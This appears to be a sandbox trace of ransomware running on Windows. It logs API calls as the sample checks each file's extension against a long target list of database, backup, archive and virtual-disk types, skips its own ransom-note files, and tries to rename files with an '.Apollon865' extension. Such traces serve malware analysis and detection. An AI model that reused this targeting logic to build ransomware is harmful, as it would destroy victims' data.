	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.148] lstrlenW (lpString="ade") returned 3
	[0080.148] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0080.148] lstrlenW (lpString="adf") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0080.149] lstrlenW (lpString="adn") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0080.149] lstrlenW (lpString="adp") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0080.149] lstrlenW (lpString="alf") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0080.149] lstrlenW (lpString="ask") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0080.149] lstrlenW (lpString="btr") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0080.149] lstrlenW (lpString="cat") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0080.149] lstrlenW (lpString="cdb") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0080.149] lstrlenW (lpString="ckp") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0080.149] lstrlenW (lpString="cma") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0080.149] lstrlenW (lpString="cpd") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0080.149] lstrlenW (lpString="dacpac") returned 6
	[0080.149] lstrcmpiW (lpString1="31.bmp", lpString2="dacpac") returned -1
	[0080.149] lstrlenW (lpString="dad") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0080.149] lstrlenW (lpString="dadiagrams") returned 10
	[0080.149] lstrcmpiW (lpString1="tile31.bmp", lpString2="dadiagrams") returned 1
	[0080.149] lstrlenW (lpString="daschema") returned 8
	[0080.149] lstrcmpiW (lpString1="le31.bmp", lpString2="daschema") returned 1
	[0080.149] lstrlenW (lpString="db-journal") returned 10
	[0080.149] lstrcmpiW (lpString1="tile31.bmp", lpString2="db-journal") returned 1
	[0080.149] lstrlenW (lpString="db-shm") returned 6
	[0080.149] lstrcmpiW (lpString1="31.bmp", lpString2="db-shm") returned -1
	[0080.149] lstrlenW (lpString="db-wal") returned 6
	[0080.149] lstrcmpiW (lpString1="31.bmp", lpString2="db-wal") returned -1
	[0080.149] lstrlenW (lpString="dbc") returned 3
	[0080.149] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0080.150] lstrlenW (lpString="dbs") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0080.150] lstrlenW (lpString="dbt") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0080.150] lstrlenW (lpString="dbv") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0080.150] lstrlenW (lpString="dbx") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0080.150] lstrlenW (lpString="dcb") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0080.150] lstrlenW (lpString="dct") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0080.150] lstrlenW (lpString="dcx") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0080.150] lstrlenW (lpString="ddl") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0080.150] lstrlenW (lpString="dlis") returned 4
	[0080.150] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0080.150] lstrlenW (lpString="dp1") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0080.150] lstrlenW (lpString="dqy") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0080.150] lstrlenW (lpString="dsk") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0080.150] lstrlenW (lpString="dsn") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0080.150] lstrlenW (lpString="dtsx") returned 4
	[0080.150] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0080.150] lstrlenW (lpString="dxl") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0080.150] lstrlenW (lpString="eco") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0080.150] lstrlenW (lpString="ecx") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0080.150] lstrlenW (lpString="edb") returned 3
	[0080.150] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0080.150] lstrlenW (lpString="epim") returned 4
	[0080.150] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0080.151] lstrlenW (lpString="fcd") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0080.151] lstrlenW (lpString="fdb") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0080.151] lstrlenW (lpString="fic") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0080.151] lstrlenW (lpString="flexolibrary") returned 12
	[0080.151] lstrcmpiW (lpString1="ertile31.bmp", lpString2="flexolibrary") returned -1
	[0080.151] lstrlenW (lpString="fm5") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0080.151] lstrlenW (lpString="fmp") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0080.151] lstrlenW (lpString="fmp12") returned 5
	[0080.151] lstrcmpiW (lpString1="1.bmp", lpString2="fmp12") returned -1
	[0080.151] lstrlenW (lpString="fmpsl") returned 5
	[0080.151] lstrcmpiW (lpString1="1.bmp", lpString2="fmpsl") returned -1
	[0080.151] lstrlenW (lpString="fol") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0080.151] lstrlenW (lpString="fp3") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0080.151] lstrlenW (lpString="fp4") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0080.151] lstrlenW (lpString="fp5") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0080.151] lstrlenW (lpString="fp7") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0080.151] lstrlenW (lpString="fpt") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0080.151] lstrlenW (lpString="frm") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0080.151] lstrlenW (lpString="gdb") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0080.151] lstrlenW (lpString="gdb") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0080.151] lstrlenW (lpString="grdb") returned 4
	[0080.151] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0080.151] lstrlenW (lpString="gwi") returned 3
	[0080.151] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0080.152] lstrlenW (lpString="hdb") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0080.152] lstrlenW (lpString="his") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0080.152] lstrlenW (lpString="ib") returned 2
	[0080.152] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0080.152] lstrlenW (lpString="idb") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0080.152] lstrlenW (lpString="ihx") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0080.152] lstrlenW (lpString="itdb") returned 4
	[0080.152] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0080.152] lstrlenW (lpString="itw") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0080.152] lstrlenW (lpString="jet") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0080.152] lstrlenW (lpString="jtx") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0080.152] lstrlenW (lpString="kdb") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0080.152] lstrlenW (lpString="kexi") returned 4
	[0080.152] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0080.152] lstrlenW (lpString="kexic") returned 5
	[0080.152] lstrcmpiW (lpString1="1.bmp", lpString2="kexic") returned -1
	[0080.152] lstrlenW (lpString="kexis") returned 5
	[0080.152] lstrcmpiW (lpString1="1.bmp", lpString2="kexis") returned -1
	[0080.152] lstrlenW (lpString="lgc") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0080.152] lstrlenW (lpString="lwx") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0080.152] lstrlenW (lpString="maf") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0080.152] lstrlenW (lpString="maq") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0080.152] lstrlenW (lpString="mar") returned 3
	[0080.152] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0080.152] lstrlenW (lpString="marshal") returned 7
	[0080.152] lstrcmpiW (lpString1="e31.bmp", lpString2="marshal") returned -1
	[0080.153] lstrlenW (lpString="mas") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0080.153] lstrlenW (lpString="mav") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0080.153] lstrlenW (lpString="maw") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0080.153] lstrlenW (lpString="mdbhtml") returned 7
	[0080.153] lstrcmpiW (lpString1="e31.bmp", lpString2="mdbhtml") returned -1
	[0080.153] lstrlenW (lpString="mdn") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0080.153] lstrlenW (lpString="mdt") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0080.153] lstrlenW (lpString="mfd") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0080.153] lstrlenW (lpString="mpd") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0080.153] lstrlenW (lpString="mrg") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0080.153] lstrlenW (lpString="mud") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0080.153] lstrlenW (lpString="mwb") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0080.153] lstrlenW (lpString="myd") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0080.153] lstrlenW (lpString="ndf") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0080.153] lstrlenW (lpString="nnt") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0080.153] lstrlenW (lpString="nrmlib") returned 6
	[0080.153] lstrcmpiW (lpString1="31.bmp", lpString2="nrmlib") returned -1
	[0080.153] lstrlenW (lpString="ns2") returned 3
	[0080.153] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0080.154] lstrlenW (lpString="ns3") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0080.154] lstrlenW (lpString="ns4") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0080.154] lstrlenW (lpString="nsf") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0080.154] lstrlenW (lpString="nv") returned 2
	[0080.154] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0080.154] lstrlenW (lpString="nv2") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0080.154] lstrlenW (lpString="nwdb") returned 4
	[0080.154] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0080.154] lstrlenW (lpString="nyf") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0080.154] lstrlenW (lpString="odb") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0080.154] lstrlenW (lpString="odb") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0080.154] lstrlenW (lpString="oqy") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0080.154] lstrlenW (lpString="ora") returned 3
	[0080.154] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0080.154] lstrlenW (lpString="orx") returned 3
	[0080.155] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0080.155] lstrlenW (lpString="owc") returned 3
	[0080.155] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0080.156] lstrlenW (lpString="p96") returned 3
	[0080.156] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0080.156] lstrlenW (lpString="p97") returned 3
	[0080.156] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0080.156] lstrlenW (lpString="pan") returned 3
	[0080.156] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0080.156] lstrlenW (lpString="pdb") returned 3
	[0080.157] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0080.157] lstrlenW (lpString="pdm") returned 3
	[0080.157] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0080.157] lstrlenW (lpString="pnz") returned 3
	[0080.157] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0080.157] lstrlenW (lpString="qry") returned 3
	[0080.157] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0080.157] lstrlenW (lpString="qvd") returned 3
	[0080.157] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0080.157] lstrlenW (lpString="rbf") returned 3
	[0080.157] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0080.157] lstrlenW (lpString="rctd") returned 4
	[0080.157] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0080.158] lstrlenW (lpString="rod") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0080.158] lstrlenW (lpString="rodx") returned 4
	[0080.158] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0080.158] lstrlenW (lpString="rpd") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0080.158] lstrlenW (lpString="rsd") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0080.158] lstrlenW (lpString="sas7bdat") returned 8
	[0080.158] lstrcmpiW (lpString1="le31.bmp", lpString2="sas7bdat") returned -1
	[0080.158] lstrlenW (lpString="sbf") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0080.158] lstrlenW (lpString="scx") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0080.158] lstrlenW (lpString="sdb") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0080.158] lstrlenW (lpString="sdc") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0080.158] lstrlenW (lpString="sdf") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0080.158] lstrlenW (lpString="sis") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0080.158] lstrlenW (lpString="spq") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0080.158] lstrlenW (lpString="te") returned 2
	[0080.158] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0080.158] lstrlenW (lpString="teacher") returned 7
	[0080.158] lstrcmpiW (lpString1="e31.bmp", lpString2="teacher") returned -1
	[0080.158] lstrlenW (lpString="tmd") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0080.158] lstrlenW (lpString="tps") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0080.158] lstrlenW (lpString="trc") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0080.158] lstrlenW (lpString="trc") returned 3
	[0080.158] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0080.158] lstrlenW (lpString="trm") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0080.159] lstrlenW (lpString="udb") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0080.159] lstrlenW (lpString="udl") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0080.159] lstrlenW (lpString="usr") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0080.159] lstrlenW (lpString="v12") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0080.159] lstrlenW (lpString="vis") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0080.159] lstrlenW (lpString="vpd") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0080.159] lstrlenW (lpString="vvv") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0080.159] lstrlenW (lpString="wdb") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0080.159] lstrlenW (lpString="wmdb") returned 4
	[0080.159] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0080.159] lstrlenW (lpString="wrk") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0080.159] lstrlenW (lpString="xdb") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0080.159] lstrlenW (lpString="xld") returned 3
	[0080.159] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0080.159] lstrlenW (lpString="xmlff") returned 5
	[0080.159] lstrcmpiW (lpString1="1.bmp", lpString2="xmlff") returned -1
	[0080.159] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp.Apollon865") returned 93
	[0080.159] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.159] GetLastError () returned 0x5
	[0080.159] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp MoveFileEx error 5\r\n") returned 111
	[0080.159] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp MoveFileEx error 5\r\n") returned 111
	[0080.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.160] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x50a7
	[0080.160] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.160] CloseHandle (hObject=0x9c) returned 1
	[0080.160] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.160] CloseHandle (hObject=0x0) returned 0
	[0080.160] CloseHandle (hObject=0x0) returned 0
	[0080.160] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2=".") returned 1
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2="..") returned 1
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2="windows") returned -1
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2="bootmgr") returned 1
	[0080.161] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile32.bmp" | out: lpString1="usertile32.bmp") returned="usertile32.bmp"
	[0080.161] lstrlenW (lpString="usertile32.bmp") returned 14
	[0080.161] lstrlenW (lpString="Apollon865") returned 10
	[0080.161] lstrcmpiW (lpString1="tile32.bmp", lpString2="Apollon865") returned 1
	[0080.161] lstrlenW (lpString=".dll") returned 4
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2=".dll") returned 1
	[0080.161] lstrlenW (lpString=".lnk") returned 4
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2=".lnk") returned 1
	[0080.161] lstrlenW (lpString=".ini") returned 4
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2=".ini") returned 1
	[0080.161] lstrlenW (lpString=".sys") returned 4
	[0080.161] lstrcmpiW (lpString1="usertile32.bmp", lpString2=".sys") returned 1
	[0080.161] lstrlenW (lpString="usertile32.bmp") returned 14
	[0080.161] lstrlenW (lpString="bak") returned 3
	[0080.161] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0080.161] lstrlenW (lpString="ba_") returned 3
	[0080.161] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0080.161] lstrlenW (lpString="dbb") returned 3
	[0080.161] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0080.161] lstrlenW (lpString="vmdk") returned 4
	[0080.161] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0080.161] lstrlenW (lpString="rar") returned 3
	[0080.161] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0080.161] lstrlenW (lpString="zip") returned 3
	[0080.161] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0080.162] lstrlenW (lpString="tgz") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0080.162] lstrlenW (lpString="vbox") returned 4
	[0080.162] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0080.162] lstrlenW (lpString="vdi") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0080.162] lstrlenW (lpString="vhd") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0080.162] lstrlenW (lpString="vhdx") returned 4
	[0080.162] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0080.162] lstrlenW (lpString="avhd") returned 4
	[0080.162] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0080.162] lstrlenW (lpString="db") returned 2
	[0080.162] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0080.162] lstrlenW (lpString="db2") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0080.162] lstrlenW (lpString="db3") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0080.162] lstrlenW (lpString="dbf") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0080.162] lstrlenW (lpString="mdf") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0080.162] lstrlenW (lpString="mdb") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0080.162] lstrlenW (lpString="sql") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0080.162] lstrlenW (lpString="sqlite") returned 6
	[0080.162] lstrcmpiW (lpString1="32.bmp", lpString2="sqlite") returned -1
	[0080.162] lstrlenW (lpString="sqlite3") returned 7
	[0080.162] lstrcmpiW (lpString1="e32.bmp", lpString2="sqlite3") returned -1
	[0080.162] lstrlenW (lpString="sqlitedb") returned 8
	[0080.162] lstrcmpiW (lpString1="le32.bmp", lpString2="sqlitedb") returned -1
	[0080.162] lstrlenW (lpString="xml") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0080.162] lstrlenW (lpString="$er") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0080.162] lstrlenW (lpString="4dd") returned 3
	[0080.162] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0080.163] lstrlenW (lpString="4dl") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0080.163] lstrlenW (lpString="^^^") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0080.163] lstrlenW (lpString="abs") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0080.163] lstrlenW (lpString="abx") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0080.163] lstrlenW (lpString="accdb") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accdb") returned -1
	[0080.163] lstrlenW (lpString="accdc") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accdc") returned -1
	[0080.163] lstrlenW (lpString="accde") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accde") returned -1
	[0080.163] lstrlenW (lpString="accdr") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accdr") returned -1
	[0080.163] lstrlenW (lpString="accdt") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accdt") returned -1
	[0080.163] lstrlenW (lpString="accdw") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accdw") returned -1
	[0080.163] lstrlenW (lpString="accft") returned 5
	[0080.163] lstrcmpiW (lpString1="2.bmp", lpString2="accft") returned -1
	[0080.163] lstrlenW (lpString="adb") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.163] lstrlenW (lpString="adb") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.163] lstrlenW (lpString="ade") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0080.163] lstrlenW (lpString="adf") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0080.163] lstrlenW (lpString="adn") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0080.163] lstrlenW (lpString="adp") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0080.163] lstrlenW (lpString="alf") returned 3
	[0080.163] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0080.163] lstrlenW (lpString="ask") returned 3
	[0080.164] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0080.164] lstrlenW (lpString="btr") returned 3
